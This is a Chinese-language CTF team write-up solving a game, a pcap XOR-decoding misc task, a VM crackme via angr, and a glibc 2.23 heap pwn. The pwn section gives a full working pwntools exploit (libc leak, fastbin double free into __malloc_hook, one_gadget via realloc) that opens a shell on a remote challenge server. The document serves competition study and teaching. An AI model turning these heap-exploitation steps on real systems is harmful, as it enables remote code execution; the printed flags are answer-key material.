你想玩海克斯大乱斗对不队WriteUp

Games

我勒个超级马里奥

游玩游戏 即可得到flag

Misc

bb84

使用如下脚本进行数据提取

```
import struct
import ipaddress
import json

PCAP_FILE = "bb84_attack.pcapng"   # 改成你本地的路径

def parse_pcap(path):
    with open(path, "rb") as f:
        gh = f.read(24)
        if len(gh) < 24:
            raise ValueError("pcap too small")
        magic_le = struct.unpack("<I", gh[:4])[0]
        magic_be = struct.unpack(">I", gh[:4])[0]

        # 判断大小端
        if magic_le in (0xa1b2c3d4, 0xd4c3b2a1, 0xa1b23c4d, 0x4d3cb2a1):
            endian = "<"
        elif magic_be in (0xa1b2c3d4, 0xd4c3b2a1, 0xa1b23c4d, 0x4d3cb2a1):
            endian = ">"
        else:
            raise ValueError("not a pcap file")

        ver_major, ver_minor, thiszone, sigfigs, snaplen, network = \
            struct.unpack(endian + "HHiiii", gh[4:])

        packets = []
        while True:
            ph = f.read(16)
            if not ph or len(ph) < 16:
                break
            ts_sec, ts_usec, incl_len, orig_len = struct.unpack(endian + "IIII",
ph)
            data = f.read(incl_len)
            if len(data) < incl_len:
                break
            packets.append({
```

```
                "ts_sec": ts_sec,
                "ts_usec": ts_usec,
                "incl_len": incl_len,
                "orig_len": orig_len,
                "data": data,
            })

    meta = {
        "endian": endian,
        "ver_major": ver_major,
        "ver_minor": ver_minor,
        "thiszone": thiszone,
        "sigfigs": sigfigs,
        "snaplen": snaplen,
        "network": network,
    }
    return meta, packets

def parse_ipv4(data: bytes):
    if len(data) < 20:
        return None
    v_ihl = data[0]
    version = v_ihl >> 4
    ihl = v_ihl & 0x0F
    if version != 4 or ihl < 5:
        return None
    hdr_len = ihl * 4
    total_len = struct.unpack("!H", data[2:4])[0]
    proto = data[9]
    src = ipaddress.IPv4Address(data[12:16])
    dst = ipaddress.IPv4Address(data[16:20])
    payload = data[hdr_len:total_len]
    return {
        "src_ip": str(src),
        "dst_ip": str(dst),
        "proto": proto,
        "payload": payload,
    }

def parse_tcp(data: bytes):
    if len(data) < 20:
        return None
    (src_port, dst_port, seq, ack,
     offset_reserved_flags, window,
     checksum, urg_ptr) = struct.unpack("!HHIIHHHH", data[:20])
    data_offset = (offset_reserved_flags >> 12) & 0xF
    hdr_len = data_offset * 4
    if len(data) < hdr_len:
        return None
    payload = data[hdr_len:]
    return {
        "src_port": src_port,
        "dst_port": dst_port,
        "seq": seq,
        "ack": ack,
        "payload": payload,
```

```python
    }

def xor_with_key(data: bytes, key: bytes) -> bytes:
    klen = len(key)
    return bytes(b ^ key[i % klen] for i, b in enumerate(data))

def xor_const(data: bytes, c: int) -> bytes:
    return bytes(b ^ c for b in data)

# -------------------------------
#  主流程：解析 & 导出 JSON
# -------------------------------
meta, pkts = parse_pcap(PCAP_FILE)

tcp_packets = []
for p in pkts:
    ip = parse_ipv4(p["data"])
    if not ip or ip["proto"] != 6:  # 非 TCP 丢掉
        continue
    tcp = parse_tcp(ip["payload"])
    if not tcp:
        continue
    tcp_packets.append((ip, tcp))

# 前 3 条是明文 key
seed_line = tcp_packets[0][1]["payload"].decode()
xor_key_line = tcp_packets[1][1]["payload"].decode()
basis_line = tcp_packets[2][1]["payload"].decode()

seed = seed_line.split(":", 1)[1]
xor_key_hex = xor_key_line.split(":", 1)[1]
xor_key_bytes = bytes.fromhex(xor_key_hex)
basis_string = basis_line

cipher_packets = tcp_packets[3:]   # 后面 96 条都是密文

out_packets = []
for idx, (ip, tcp) in enumerate(cipher_packets, start=1):
    c0 = tcp["payload"]
    c1 = xor_with_key(c0, xor_key_bytes)
    c2 = xor_const(c1, 0x0A)

    out_packets.append({
        "index": idx,
        "src_ip": ip["src_ip"],
        "dst_ip": ip["dst_ip"],
        "src_port": tcp["src_port"],
        "dst_port": tcp["dst_port"],
        "len": len(c0),
        "layer0_hex": c0.hex(),
        "layer1_xor_key": c1.decode("latin1"),
        "layer2_xor_key_xor0a": c2.decode("latin1"),
    })

result = {
    "seed": seed,
```

```
    "xor_key_hex": xor_key_hex,
    "basis_string": basis_string,
    "packets": out_packets,
}

print(json.dumps(result, indent=2, ensure_ascii=False))
```

```
PS D:\desktop'\zjb> python -u "d:\desktop'\zjb\123.py"
{
  "seed": "123456789",
  "xor_key_hex": "8660ace90c0352f3",
  "basis_string": "x++x+x+xx++x+xxxxx++x+xxxxxx++x+",
  "packets": [
    {
      "index": 1,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40004,
      "len": 36,
      "layer0_hex":
"e917c4957e2b6ad9ba4d9dc6312a6fc5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f",
      "layer1_xor_key": "owh|r(8*<-1/=)=6]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx\"2 6';%7#7<wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 2,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40005,
      "len": 35,
      "layer0_hex":
"e917c4957e2c6cd9bc4396cb362876bce712d6d26c6b7b89af1dc49960383d84ee1cd8",
      "layer1_xor_key": "owh|r/>*:#:\":+$0arz;`h)z)}hpl;owh|t",
      "layer2_xor_key_xor0a": "e}bvx%4 0)0(0!.Ekxp1jb#p#wbzf1e}bv~"
    },
    {
      "index": 3,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40006,
      "len": 36,
      "layer0_hex":
"e917c4957e296bdbbb4b93c2312d6fc5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f",
      "layer1_xor_key": "owh|r*9(=+?+=.=6]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx 3\"7!5!7$7<wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 4,
      "src_ip": "192.168.1.200",
```

```
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40007,
      "len": 36,
      "layer0_hex":
"e917c4957e2a68d0b74396c13c206dc5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f",
      "layer1_xor_key": "owh|r):#1#:(0#?6]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx#0);)0\":)5<wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 5,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40008,
      "len": 36,
      "layer0_hex":
"e917c4957e2a6edabf4f9cc2322068c5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f",
      "layer1_xor_key": "owh|r)<)9/0+>#:6]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx#6#3%:!4)0<wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 6,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40009,
      "len": 36,
      "layer0_hex":
"e917c4957e2963d0b64b9cc33d286cc5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f",
      "layer1_xor_key": "owh|r*1#0+0*1+>6]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx ;):!: ;!4<wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 7,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40010,
      "len": 36,
      "layer0_hex":
"e917c4957e2a6dd0be4c93c4372d6ec5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f",
      "layer1_xor_key": "owh|r)?#8,?-;.<6]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx#5)2&5'1$6<wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 8,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40011,
      "len": 36,
      "layer0_hex":
"e917c4957e2b6cd9b84990c0302b6cc5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f",
      "layer1_xor_key": "owh|r(>*>)<)<(>6]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx\"4 4#6#6\"4<wyjb#xp1b1epht#wopdl"
```

```
    },
    {
      "index": 9,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40012,
      "len": 35,
      "layer0_hex":
"e917c4957e2c6adbbc4d9dc7332f76bce712d6d26c6b7b89af1dc49960383d84ee1cd8",
      "layer1_xor_key": "owh|r/8(:-1.?,$Oarz;`h)z)}hpl;owh|t",
      "layer2_xor_key_xor0a": "e}bvx%2\"O';$5&.Ekxp1jb#p#wbzf1e}bv~"
    },
    {
      "index": 10,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40013,
      "len": 35,
      "layer0_hex":
"e917c4957e2c6bd9b94f97cb332c76bce712d6d26c6b7b89af1dc49960383d84ee1cd8",
      "layer1_xor_key": "owh|r/9*?/;\"?/$Oarz;`h)z)}hpl;owh|t",
      "layer2_xor_key_xor0a": "e}bvx%3 5%1(5%.Ekxp1jb#p#wbzf1e}bv~"
    },
    {
      "index": 11,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40014,
      "len": 36,
      "layer0_hex":
"e917c4957e2b63dbbf4993c231206cc5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f",
      "layer1_xor_key": "owh|r(1(9)?+=#>6]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx\";\"3#5!7)4<Wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 12,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40015,
      "len": 36,
      "layer0_hex":
"e917c4957e2a6cdbbf4a97cb30296cc5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f",
      "layer1_xor_key": "owh|r)>(9*;\"<*>6]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx#4\"3 1(6 4<Wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 13,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40016,
      "len": 35,
```

```
      "layer0_hex":
"e917c4957e216bdcbd4a91c43c2076bce712d6d26c6b7b89af1dc49960383d84ee1cd8",
      "layer1_xor_key": "owh|r\"9/;*=-0#$0arz;`h)z)}hpl;owh|t",
      "layer2_xor_key_xor0a": "e}bvx(3%1 7':).Ekxp1jb#p#wbzf1e}bv~"
    },
    {
      "index": 14,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40017,
      "len": 36,
      "layer0_hex":
"e917c4957e2c69d8bd4395c231296ac5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f",
      "layer1_xor_key": "owh|r/;+;#9+=*86]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx%1!1)3!7 2<Wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 15,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40018,
      "len": 35,
      "layer0_hex":
"e917c4957e2c63d9bb4c97ca332c76bce712d6d26c6b7b89af1dc49960383d84ee1cd8",
      "layer1_xor_key": "owh|r/1*=,;#?/$0arz;`h)z)}hpl;owh|t",
      "layer2_xor_key_xor0a": "e}bvx%; 7&1)5%.Ekxp1jb#p#wbzf1e}bv~"
    },
    {
      "index": 16,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40019,
      "len": 36,
      "layer0_hex":
"e917c4957e2a6ddbbd4a91c1372f6ec5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f",
      "layer1_xor_key": "owh|r)?(;*=(;,<6]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx#5\"1 7\"1&6<Wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 17,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40020,
      "len": 36,
      "layer0_hex":
"e917c4957e296ed0bd4e91c1372a63c5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f",
      "layer1_xor_key": "owh|r*<#;.=(;)16]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx 6)1$7\"1#;<Wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 18,
      "src_ip": "192.168.1.200",
```

```
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40021,
      "len": 36,
      "layer0_hex":
"e917c4957e296edebb4b90c4342863c5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f",
      "layer1_xor_key": "owh|r*<-=+<-8+16]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx 6'7!6'2!;<wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 19,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40022,
      "len": 35,
      "layer0_hex":
"e917c4957e2169d0b84b90c03d2176bce712d6d26c6b7b89af1dc49960383d84ee1cd8",
      "layer1_xor_key": "owh|r\";#>+<)1\"$0arz;`h)z)}hpl;owh|t",
      "layer2_xor_key_xor0a": "e}bvx(1)4!6#;(.Ekxp1jb#p#wbzf1e}bv~"
    },
    {
      "index": 20,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40023,
      "len": 36,
      "layer0_hex":
"e917c4957e2b68dfbe4a90c63d2b6bc5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f",
      "layer1_xor_key": "owh|r(:,8*</1(96]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx\"0&2 6%;\"3<wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 21,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40024,
      "len": 36,
      "layer0_hex":
"e917c4957e2c6bdabd4b90cb352c68c5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f",
      "layer1_xor_key": "owh|r/9);+<\"9/:6]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx%3#1!6(3%0<wyjb#xp1b1epht#wopdl"
    },
    {
      "index": 22,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40025,
      "len": 36,
      "layer0_hex":
"e917c4957e2c69ddbf4c97c030296ac5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f",
      "layer1_xor_key": "owh|r/;.9,;)<*86]s`h)rz;h;ozb~)}eznf",
      "layer2_xor_key_xor0a": "e}bvx%1$3&1#6 2<wyjb#xp1b1epht#wopdl"
```

```
    },
    {
      "index": 23,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40026,
      "len": 35,
      "layer0_hex":
"e917c4957e2d6fdfbd4893c3302a76bce712d6d26c6b7b89af1dc49960383d84ee1cd8",
      "layer1_xor_key": "owh|r.=,;(?*<)$0arz;`h)z)}hpl;owh|t",
      "layer2_xor_key_xor0a": "e}bvx$7&1\"5 6#.Ekxp1jb#p#wbzf1e}bv~"
    },
    {
      "index": 24,
      "src_ip": "192.168.1.200",
      "dst_ip": "192.168.1.100",
      "src_port": 5000,
      "dst_port": 40027,
      "len": 36,
      "layer0_hex":
"e917c4957e296adcba4c9dc733296dc5db13cc81257128c8ee5bc3936e7d7b8ee31ac28f",
      "layer1_xor_key": "owh|r*8/<,1.?*?6]s`h)rz;h;ozb~)}ezn
```


可知流量里面给出了TCP数据

```
SEED:123456789
XOR_KEY:8660ace90c0352f3
x++x+x+xx++x+xxxxx++x+xxxxxx++x+
```

先进行循环异或得到Layer1 再每个字节异或0x0A得到Layer2 再对Layer2用[0x03, 0x11]得到flag

```
# 最后一包的 Layer 2 密文 (你整理好的)
# 注意：这里必须保留原始符号，不要把 # 替换成空格，因为 # (0x23) 是有效数据
cipher_layer2 = 'e}bvx(2&6&;#a 5&g!3"4$a%2#b)gsg gw4\'0l'

# 我们分析出的 Layer 2 循环密钥
key_pattern = [0x03, 0x11]

plaintext = []

for i, char in enumerate(cipher_layer2):
    # 取出当前字符的 ASCII 值
    c_val = ord(char)
    # 取出对应的 Key (0x03 或 0x11)
    k_val = key_pattern[i % 2]
    # 异或解密
    p_val = c_val ^ k_val

    plaintext.append(chr(p_val))

flag = "".join(plaintext)
```

```
print(f"【密文】: {cipher_layer2}")
print(f"【Flag】: {flag}")
```

```
flag{9175782b167d00375b412a8dbd1df763}
```

Reverse

vm

验证逻辑即为

```
if ( *(_QWORD *)Arglist == 0xC3BB7C783538B88EuLL )
    puts("successful validation");
else
    puts("try again");
```

入口

```
int sub_4024B0()
{
    char Arglist[8];

    puts("Please enter your key:");
    *(_QWORD *)Arglist = 0;
    scanf("%llX", (char *)Arglist);   // 读入 64 bit hex

    sub_4022A0(Arglist);              // 在这里被“加工”

    if ( *(_QWORD *)Arglist == 0xC3BB7C783538B88EuLL )
        puts("successful validation");
    else
        puts("try again");

    return 0;
}
```

`sub_4022A0` 主要做了以下几件事

1. 用 `calloc(0x1000, 1)` 申请一块 4KB 的“虚拟内存”，全部初始化为 0。
2. 对这块内存写入一些初始状态：

```
Block[0]    = this[0];        // key 的低 32 位
Block[1]    = this[1];        // key 的高 32 位
Block[2]    = 0;
Block[1002] = 0;
Block[1003] = 0xEEFF0022;
Block[1004] = 0xAABBCCDD;
```

3. 设置类似“寄存器、标志位、指针”之类的上下文信息，全部放在栈上的一堆局部变量里，再传给子函数。
4. 进入一个 VM 的主循环，大致伪代码如下：

```
pc  = 0;       // 类似“指令计数器”
pos = 0;       // 当前解码位置，保存在某个变量里（如 v35）

while ( pc < 0x158 )
{
    // 取指并解码：从 byte_405060 / byte_405061 这两个数组中获取
    desc = sub_401090(local_desc_buf, &pos);

    // 执行：根据 desc 描述的指令对 Block & 寄存器进行操作
    int ret = sub_401F00(Block, desc, &pos);

    if ( ret == -1 )
        break;      // 程序结束
    if ( ret != 1 )
        pc += 4;    // 正常顺序执行，每条指令“宽度”是 4
    if ( pos >= 0x158 )
        break;      // 越界保护
}
```

5. 循环结束后，从 VM 中取计算结果：

```
// 假设 v21 对应 VM 内部的某个 R0 寄存器，里面存放着结果地址
if ( v21 + 4 < 0x1000 )
{
    this[0] = *(DWORD *)(Block + v21);
    this[1] = *(DWORD *)(Block + v21 + 4);
}
else
{
    fprintf(stderr, "Invalid R0 value for result extraction\n");
}
```

在数据段能找到两块核心数组：

- `byte_405060`：主指令流（每条指令 4 字节）
- `byte_405061`：被用作跳转偏移的辅助数组（通常当作“第二个字节”）

VM 每次视作执行一个 4 字节宽度的“指令槽”，但真正有意义的只有第一个字节（opcode），后面 3 个字节全部为 0；通过 `pc += 4` 来走向下一条。

读取操作数：sub_401D50

根据 desc 中不同字段，选择不同寻址方式：

- kind == 0：寄存器直接访问
- kind == 1：立即数

- kind == 3：内存寻址 `[mem_base + (regs[reg] + offset)]`
- kind == 6：按字节读（返回 8 位，再做零扩展）

写回操作数：sub_401E00

写操作与上面对应：

- kind == 0：写寄存器
- kind == 3：写 4 字节内存
- kind == 6：写 1 字节内存

所以这个 VM 拥有：

- 一组通用寄存器（数量大概 8 个，索引 0..7）
- 0x1000 大小的一块内存，通过“寄存器 + 偏移”寻址
- 操作数类型、寄存器编号、偏移量等信息都藏在解码后的 desc 里。

`sub_401F00(Block, desc, &pos)` 根据 `desc[1]` 来分派执行：

- 类别 1 / 2 / 15 / 17 / 20：算术和位运算（MOV / ADD / OR / MUL 等）
- 类别 3 / 5 / 12 / 13 / 19：比较、移位、循环移位、按字节取值等
- 类别 4 / 16：无条件跳转 / 条件跳转（依据内部标志位）
- 类别 7 / 8：栈操作（PUSH / POP）

整个 VM 程序组合了这些指令，对我们输入的 64 位 key 进行大量变换，最终通过 R0 指向的一块内存输出一个 64 位值。

由于 VM 中的操作包含：

- 多种算术运算（加、乘）
- 位运算和移位/循环移位
- 复杂控制流（条件跳转 + 循环）

想要全部手推还原数学公式几乎是自虐。更现实的选择是借助 **angr** 做符号执行来自动求解 key。

大致思路如下：

1. 在 `scanf` 调用结束后，建立 angr 的初始状态，这样可以直接把用户输入设为符号变量，而不用模拟输入函数。
2. 让存放 key 的那 8 个字节作为一个 64 位符号变量。
3. 让 VM 运行到“验证通过”的分支（打印 `successful validation`）——把这条路径当作 `find` 地址；而把“失败”分支的地址当作 `avoid`。
4. 让求解器对这个符号变量进行求解，得到一个具体的 key 值。

```
import angr
import claripy

BINARY = "./vm.exe"                    # 可执行文件路径
START_ADDR = 0x004024ED                # scanf 之后
```

```
GOOD_ADDR  = 0x0040250D              # successful validation
BAD_ADDR   = 0x00402514              # try again

def main():
    proj = angr.Project(BINARY, auto_load_libs=False)

    # 从 scanf 返回后的地址创建状态
    state = proj.factory.blank_state(addr=START_ADDR)

    # 定义 64-bit 符号 key
    sym_key = claripy.BVS("sym_key", 64)

    # Arglist 在栈上的位置
    arglist = state.regs.esp + 0x10

    # 把符号 key 写入到 Arglist 对应的 8 字节
    state.memory.store(arglist, sym_key, endness=proj.arch.memory_endness)

    simgr = proj.factory.simgr(state)

    # 找到 GOOD_ADDR，避开 BAD_ADDR
    simgr.explore(find=GOOD_ADDR, avoid=BAD_ADDR)

    if len(simgr.found) == 0:
        print("[-] no satisfiable path found, please re-check addresses.")
        return

    found_state = simgr.found[0]
    model = found_state.solver.eval(sym_key, cast_to=int)
    print("[+] key candidate:", "{:016X}".format(model))

if __name__ == "__main__":
    main()
```

```
[+] key candidate: D8E1C12A7A991DF3
```

flag{6f45c5b3448d90e96a9b709af53f0118}

Pwn

我不吃牛肉

`ida` 逆向完是个菜单堆

```
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  unsigned int seed; // eax

  setbuf(stdin, 0LL);
```

```
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("[+]Welcome to your new home!");
  puts("[+]While visiting, please note that the room numbers are incorrect.");
  puts("[+]Wish you can find your own room!!!");
  while ( 1 )
  {
    menu();
    seed = get_num();
    srand(seed);
    switch ( rand() % 4 )
    {
      case 0:
        add();
        break;
      case 1:
        delete();
        break;
      case 2:
        edit();
        break;
      case 3:
        show();
        break;
      case 4:
        exit(0);
      default:
        puts("invalid choice.");
        break;
    }
  }
```

一大堆漏洞，但是选项是随机数，但是种子可控，数字也就可控，随便试试几个数字根据输出就能确定对应选项：

- 124：edit
- 155：add
- 188：free
- 199：show

基本没有检查，可以 `double free`，也可以 `uaf`；版本是 `2.23`：直接错位 `fastbin` 打 `malloc_hook` ,但是 `ogg` 都不满足：我们需要调整栈帧，于是使用 realloc 函数来调整栈帧：`__malloc_hook` 改成 `__realloc_hook` 然后 `__realloc_hook` 写入 `one_gaget`，最后依然可以执行 `one_gadget`。

```
 — $ one_gadget ./libc.so.6
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is
a valid argv

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is
a valid argv

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is
a valid argv
```

可以调试看到`rsp+0x70`上面`rsp+0x68`处就有**0**，那么直接用`realloc`函数`call`压栈来抬高栈帧即可

```python
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.23-0ubuntu11.3/amd64/libc6_2.23-
0ubuntu11.3_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "113.201.14.253"
port = 53537
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = '''
b *$rebase(0xc46)
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.23-
0ubuntu11.3/amd64/libc6-dbg_2.23-0ubuntu11.3_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.23-0ubuntu11.3/amd64/glibc-
source_2.23-0ubuntu11.3_all/usr/src/glibc/glibc-2.23
'''

def start():
    if args.P:
        return process(elf.path)
    elif args.R:
        return remote(host, port)
    else:
        return gdb.debug(elf.path, gdbscript = gs)


io = start()

# pwn :)
def edit(idx, size, data):
    io.recvuntil(b'choice')
    io.send(b'124\n') #356
```

```
    io.recvuntil(b'index')
    io.send(str(idx).encode() + b'\n')
    io.recvuntil(b'length')
    io.send(str(size).encode() + b'\n')
    io.recvuntil(b'content')
    io.send(data)

def add(idx, size):
    io.recvuntil(b'choice')
    io.send(b'155\n') #299
    io.recvuntil(b'index')
    io.send(str(idx).encode() + b'\n')
    io.recvuntil(b'size')
    io.send(str(size).encode() + b'\n')

def free(idx):
    io.recvuntil(b'choice')
    io.send(b'188\n') #789
    io.recvuntil(b'index')
    io.send(str(idx).encode() + b'\n')

def show(idx):
    io.recvuntil(b'choice')
    io.send(b'199\n') #777
    io.recvuntil(b'index')
    io.send(str(idx).encode() + b'\n')

add(0, 0x520)
add(1, 0x60)
free(0)
show(0)
#io.recv(6)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(0x8, b'\x00')) - 0x3c4b78
log.info("libc_base --> "+hex(libc_base))

add(10, 0x520)

system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
relloc = libc_base + libc.sym['realloc']
binsh = libc_base + next(libc.search("/bin/sh"))
io_list_all = libc_base + libc.sym['_IO_list_all']
io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...}
is a valid argv

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...}
is a valid argv

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
```

```
# constraints:
#   [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...}
is a valid argv

ogg = libc_base + 0xf1247

add(2, 0x60)
add(3, 0x60)

free(1)
free(2)
edit(2, 0x8, p64(malloc_hook- 0x23))
add(4, 0x60)
add(5, 0x60)
edit(5, 0x13+0x8, b'a'*(0x13-0x8) + p64(ogg) + p64(relloc+20))

pause()
add(6, 0x10)

io.interactive()
```